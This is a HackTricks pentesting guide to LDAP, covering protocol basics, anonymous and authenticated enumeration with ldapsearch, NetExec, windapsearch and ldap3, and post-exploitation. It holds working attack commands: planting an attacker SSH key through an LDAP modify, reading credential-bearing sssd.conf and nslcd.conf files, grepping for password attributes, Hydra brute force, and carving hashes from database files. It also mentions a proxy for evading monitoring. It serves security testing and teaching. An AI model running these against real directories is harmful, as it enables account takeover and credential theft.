// HackTricks · Network Services

389, 636, 3268, 3269 - Pentesting LDAP

389, 636, 3268, 3269 - Pentesting LDAP

LDAP (Lightweight Directory Access Protocol) provides access to directory services: clients can search, read, add, modify, and delete directory entries when access controls permit it. Common deployments store identities, groups, devices, and service configuration. LDAP was designed as a lighter-weight way to access directory models derived from X.500.[6][7]

An LDAP server is also called a Directory System Agent (DSA). A directory can be partitioned into naming contexts and distributed or replicated across DSAs, but not every server necessarily contains a synchronized copy of the entire tree. A DSA may return referrals when another server holds the requested data.[6][7]

Entries form a Directory Information Tree (DIT) and are identified by Distinguished Names (DNs). A deployment may use DNS-style domain components (dc=example,dc=com), country/organization components, organizational units, or another schema-appropriate hierarchy; there is no requirement that every tree follow a country → organization pattern.[6]

Common ports: TCP 389 for LDAP (optionally upgraded with StartTLS) and TCP 636 for LDAP over TLS (ldaps). On an Active Directory domain controller that is also a Global Catalog server, TCP 3268 provides Global Catalog LDAP and TCP 3269 provides Global Catalog LDAP over TLS.[8]

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAP Data Interchange Format

LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename).

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn: ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: it

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: marketing

dn: uid=pepe,ou=it,dc=moneycorp,dc=local
objectClass: inetOrgPerson
cn: Pepe Example
sn: Example
givenName: Pepe
uid: pepe
mail: pepe@hacktricks.xyz
telephoneNumber: 23627387495
  • Lines 1-3 define the top level domain local
  • Lines 5-8 define the first level domain moneycorp (moneycorp.local)
  • Lines 10-16 define two organizational units: it and marketing.
  • The final record creates a person entry and assigns schema-valid attributes.

Write data

Writable attributes can have security impact beyond the directory itself. For example, if a host is explicitly configured to retrieve SSH authorized keys from LDAP and you can replace a target’s sshPublicKey attribute, you may be able to authenticate as that user without their password. Confirm the SSH integration and attribute mapping; the mere presence of the attribute does not prove that any host consumes it.[1]

# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAIN,dc=TLD', {'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Linux client-side LDAP artifacts

On Linux hosts integrated with LDAP/AD, valuable secrets often live in the client configuration, not only on the LDAP server itself.

Common files:

ls -l /etc/sssd/sssd.conf /etc/nslcd.conf /etc/ldap/ldap.conf /etc/krb5.conf 2>/dev/null
sed -n '1,120p' /etc/sssd/sssd.conf 2>/dev/null
sed -n '1,120p' /etc/nslcd.conf 2>/dev/null

High-value keys:

  • ldap_uri and ldap_search_base: where and what to query
  • ldap_default_bind_dn and ldap_default_authtok: reusable bind credentials
  • id_provider / auth_provider: tells you whether SSSD is using LDAP, Kerberos, or both

Useful follow-up:

grep -nE '^(ldap_uri|ldap_search_base|ldap_default_bind_dn|ldap_default_authtok|id_provider|auth_provider)\\s*=' \
  /etc/sssd/sssd.conf /etc/nslcd.conf 2>/dev/null

ldapsearch -x -H ldap://<target> -D "<bind-dn>" -w '<password>' -b "<base-dn>"

What to look for:

  • world-readable sssd.conf / nslcd.conf
  • cleartext bind credentials
  • directory-backed SSH or sudo integrations that turn a readable config into real authz impact

Cleartext credentials and TLS downgrade risks

An LDAP simple bind over an unprotected connection exposes the bind DN and password to an on-path observer. Not every authentication mechanism is plaintext: SASL mechanisms may provide their own integrity/confidentiality, and StartTLS or ldaps:// can protect the session.[9]

An on-path attacker may be able to suppress or interfere with StartTLS when a client treats TLS as optional and falls back to an unprotected simple bind. A correctly configured client must require TLS before sending credentials and fail closed if negotiation fails.

For ldaps:// or successfully negotiated StartTLS, interception additionally requires the client to accept an untrusted or name-mismatched certificate, or compromise of a trusted CA/key. LDAP clients are often unattended services, so certificate validation policy—not an interactive user prompt—is the relevant control.[10]

Anonymous Access

Bypass TLS SNI check

In the cited environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[2]

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP anonymous binds

An LDAP anonymous bind establishes an unauthenticated authorization state. Active Directory allows limited RootDSE discovery anonymously but, since Windows Server 2003 defaults, generally requires authentication to search directory data. Administrators can deliberately grant broader anonymous access for legacy applications; a mistaken ACL can then expose users, groups, computers, attributes, or policy data.[3]

Anonymous LDAP enumeration with NetExec (null bind)

If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds.[4][5] Useful filters:

  • (objectClass=*) to inventory objects under a base DN
  • (sAMAccountName=*) to harvest user principals

Examples:

# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""

# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""

# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
  | awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt

What to look for:

  • sAMAccountName, userPrincipalName
  • memberOf and OU placement to scope targeted sprays
  • pwdLastSet (temporal patterns), userAccountControl flags (disabled, smartcard required, etc.)

Note: When the requested anonymous search is not permitted, an Operations error indicating that a bind is required is common. Other errors can reflect the base DN, filter, signing/channel-binding policy, or server-specific access controls.

Valid Credentials

If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Brute Force

Enumeration

Automated

These scripts may reveal anonymously accessible metadata such as naming contexts and supported controls:

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

See LDAP enumeration with python

You can enumerate an LDAP directory with or without credentials using Python: pip3 install ldap3.

First try to connect without credentials:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

If the bind returns True, inspect RootDSE metadata such as naming contexts and supported features. A successful anonymous bind does not imply that subtree searches are authorized.

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

Once you have a naming context, this subtree query requests all objects the bound identity is allowed to read:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

Or dump the whole ldap:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch is a Python script useful to enumerate users, groups, and computers from a Windows domain by utilizing LDAP queries.

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --users
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

Check null credentials or if your credentials are valid:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v3839

An error saying that a successful bind must be completed means the requested operation is not permitted in the current authentication state. Possible causes include invalid credentials, an anonymous/omitted bind, or a server policy requiring signing, channel binding, or a different authentication mechanism.

You can extract everything from a domain using:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

Extract users:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

Extract computers:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract my info:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Domain Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Domain Users:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Enterprise Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Administrators:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Remote Desktop Group:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

To see if you have access to any password you can use grep after executing one of the queries:

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

Values in password-like attributes may be hashes, application-specific secrets, stale data, or decoys rather than current plaintext passwords.

pbis

You can download pbis from here: https://github.com/BeyondTrust/pbis-open/ and it’s usually installed in /opt/pbis.
PBIS Open is now an archived project, but it may still be installed on older LDAP/AD-integrated hosts. Its utilities can expose useful local integration information:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
    echo "$line";
    ./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
    echo "======================"
done

Graphical Interface

Apache Directory

Download Apache Directory from here. You can find an example of how to use this tool here.

jxplorer

You can download a graphical interface with LDAP server here: http://www.jxplorer.org/downloads/users.html

By default it may be installed in /opt/jxplorer.

Apache Directory - jxplorer: By default is is installed in: /opt/jxplorer

Godap

Godap is an interactive terminal user interface for LDAP that can be used to interact with objects and attributes in AD and other LDAP servers. It is available for Windows, Linux and MacOS and supports simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, along with several other specialized features such as searching/creating/changing/deleting objects, adding/removing users from groups, changing passwords, editing object permissions (DACLs), modifying Active-Directory Integrated DNS (ADIDNS), exporting to JSON files, etc.

Godap LDAP client interface

You can access it in https://github.com/Macmod/godap. For usage examples and instructions read the Wiki.

Ldapx

Ldapx is a flexible LDAP proxy that can be used to inspect & transform LDAP traffic from other tools. It can be used to obfuscate LDAP traffic to attempt to bypass identity protection & LDAP monitoring tools and implements most of the methods presented in the MaLDAPtive talk.

LDAPX client interface

You can get it from https://github.com/Macmod/ldapx.

Authentication via Kerberos

With a valid Kerberos credential cache and correct service principal/DNS setup, ldapsearch -Y GSSAPI uses SASL GSSAPI rather than a simple bind. Whether another invocation uses NTLM depends on the LDAP library and SASL mechanism; ldapsearch -x specifically requests simple authentication.

Post-exploitation

Legacy OpenLDAP deployments may store Berkeley DB files under /var/lib/ldap. If the exact backend uses readable .bdb files, this historical string-carving approach may recover password-hash records, but modern mdb backends and binary database formats require backend-aware offline tooling or a consistent backup:

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

Extract only the hash value (for example, the string beginning with {SSHA}) and select the matching John the Ripper/Hashcat format. Do not append adjacent LDIF or database fields such as structuralObjectClass.

Configuration Files

  • General
    • containers.ldif
    • ldap.cfg
    • ldap.conf
    • ldap.xml
    • ldap-config.xml
    • ldap-realm.xml
    • slapd.conf
  • IBM SecureWay V3 server
    • V3.sas.oc
  • Microsoft Active Directory server
    • msadClassesAttrs.ldif
  • Netscape Directory Server 4
    • nsslapd.sas_at.conf
    • nsslapd.sas_oc.conf
  • OpenLDAP directory server
    • slapd.sas_at.conf
    • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
    • 75sas.ldif

HackTricks Automatic Commands

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for LDAP
  Note: |
    The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

    https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html

Entry_2:
  Name: Banner Grab
  Description: Grab LDAP Banner
  Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
  Name: LdapSearch
  Description: Base LdapSearch
  Command: ldapsearch -H ldap://{IP} -x

Entry_4:
  Name: LdapSearch Naming Context Dump
  Description: Attempt to get LDAP Naming Context
  Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
  Name: LdapSearch Big Dump
  Description: Need Naming Context to do big dump
  Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
  Name: Hydra Brute Force
  Description: Need User
  Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f

Entry_7:
    Name: Netexec LDAP BloodHound
    Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp

References